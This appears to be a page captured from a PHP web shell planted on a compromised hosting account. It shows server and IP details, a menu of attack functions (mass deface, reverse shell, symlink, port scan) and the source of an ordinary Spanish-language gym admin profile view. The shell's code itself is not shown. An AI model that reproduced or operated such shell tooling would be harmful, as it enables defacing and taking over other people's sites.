Tul xxx Tul
User / IP
:
216.73.216.191
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
gimnasiofitnes
/
app
/
Views
/
admin
/
users
/
Viewing: perfil.php
<?= $this->extend('layout/app'); ?> <?php $this->section('title'); ?> Perfil del usuario <?php $this->endSection(); ?> <?php $this->section('content'); ?> <?php if (session()->getFlashdata('respuesta')) { ?> <div class="alert alert-<?= session()->getFlashdata('respuesta')['type']; ?> border-0 bg-<?= session()->getFlashdata('respuesta')['type']; ?> alert-dismissible fade show py-2"> <div class="d-flex align-items-center"> <div class="ms-3"> <h6 class="mb-0 text-white">Aviso</h6> <div class="text-white"><?= session()->getFlashdata('respuesta')['msg']; ?></div> </div> </div> <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button> </div> <?php } ?> <div class="row"> <div class="col-lg-4"> <div class="card"> <div class="card-body"> <div class="d-flex flex-column align-items-center text-center"> <?php $url = 'assets/admin/images/avatars/default.png'; if ($_SESSION['avatar'] != null) { $url = 'assets/admin/uploads/avatars/' . $_SESSION['avatar']; } ?> <img src="<?= base_url($url); ?>" alt="Admin" id="preview" class="rounded-circle p-1 bg-primary" width="110"> <div class="mt-3"> <h4><?= $usuario['name']; ?></h4> <hr> <p class="text-muted font-size-sm"><?= $usuario['email']; ?></p> </div> </div> </div> </div> <form action="<?= base_url('admin/updatePassword'); ?>" method="post"> <input type="hidden" name="_method" value="PUT"> <div class="card"> <div class="card-body"> <div class="row mb-3"> <div class="col-sm-12 mb-2 text-secondary"> <h6 class="mb-1">Contraseña Actual</h6> <input type="password" class="form-control" name="actual" value="" placeholder="Contraseña Actual" /> <?php if (isset($validator)) { ?> <span class="text-danger"><?= $validator->getError('actual'); ?></span> <?php } ?> </div> <div class="col-sm-12 mb-2 text-secondary"> <h6 class="mb-1">Nueva Contraseña</h6> <input type="password" class="form-control" name="nueva" value="" placeholder="Nueva Contraseña" /> <?php if (isset($validator)) { ?> <span class="text-danger"><?= $validator->getError('nueva'); ?></span> <?php } ?> </div> <div class="col-sm-12 mb-2 text-secondary"> <h6 class="mb-1">Confirmar Contraseña</h6> <input type="password" class="form-control" name="confirmar" value="" placeholder="Confirmar Contraseña" /> <?php if (isset($validator)) { ?> <span class="text-danger"><?= $validator->getError('confirmar'); ?></span> <?php } ?> </div> </div> <div class="row"> <div class="col-sm-12 text-secondary"> <input type="submit" class="btn btn-primary px-4" value="Guardar" /> </div> </div> </div> </div> </form> </div> <div class="col-lg-8"> <form action="<?= base_url('admin/perfil'); ?>" method="post" enctype="multipart/form-data"> <input type="hidden" name="_method" value="PUT"> <div class="card"> <div class="card-body"> <div class="row mb-3"> <div class="col-sm-3"> <h6 class="mb-0">Nombre</h6> </div> <div class="col-sm-9 text-secondary"> <input type="text" class="form-control" name="name" value="<?= set_value('name', $usuario['name']); ?>" /> <?php if (isset($validator)) { ?> <span class="text-danger"><?= $validator->getError('name'); ?></span> <?php } ?> </div> </div> <div class="row mb-3"> <div class="col-sm-3"> <h6 class="mb-0">Correo</h6> </div> <div class="col-sm-9 text-secondary"> <input type="text" class="form-control" name="email" value="<?= set_value('email', $usuario['email']); ?>" /> <?php if (isset($validator)) { ?> <span class="text-danger"><?= $validator->getError('email'); ?></span> <?php } ?> </div> </div> <div class="row mb-3"> <div class="col-sm-3"> <h6 class="mb-0">Teléfono</h6> </div> <div class="col-sm-9 text-secondary"> <input type="text" class="form-control" name="phone" value="<?= set_value('phone', $usuario['phone']); ?>" /> <?php if (isset($validator)) { ?> <span class="text-danger"><?= $validator->getError('phone'); ?></span> <?php } ?> </div> </div> <div class="row mb-3"> <div class="col-sm-3"> <h6 class="mb-0">Dirección</h6> </div> <div class="col-sm-9 text-secondary"> <input type="text" class="form-control" name="address" value="<?= set_value('address', $usuario['address']); ?>" /> <?php if (isset($validator)) { ?> <span class="text-danger"><?= $validator->getError('address'); ?></span> <?php } ?> </div> </div> <div class="row mb-3"> <div class="col-sm-3"> <h6 class="mb-0">Foto</h6> </div> <div class="col-sm-9 text-secondary"> <input type="file" class="form-control" id="avatar" name="avatar" /> </div> </div> <div class="row"> <div class="col-sm-3"></div> <div class="col-sm-9 text-secondary"> <input type="submit" class="btn btn-primary px-4" value="Guardar Cambios" /> </div> </div> </div> </div> </form> </div> </div> <?php $this->endSection(); ?> <?php $this->section('js'); ?> <script> const avatar = document.querySelector('#avatar'); const preview = document.querySelector('#preview'); avatar.addEventListener('change', function(e) { const imagen = e.target.files[0]; if (imagen.type == 'image/png' || imagen.type == 'image/jpg' || imagen.type == 'image/jpeg') { const tmpUrl = URL.createObjectURL(imagen); preview.src = tmpUrl; } else { avatar.value = ''; alertaPesonalizada('warning', 'SELECIONA UNA IMAGEN - (Png, Jpg, Jpeg)'); } }) </script> <?php $this->endSection(); ?>
Coded With 💗 by
0x6ick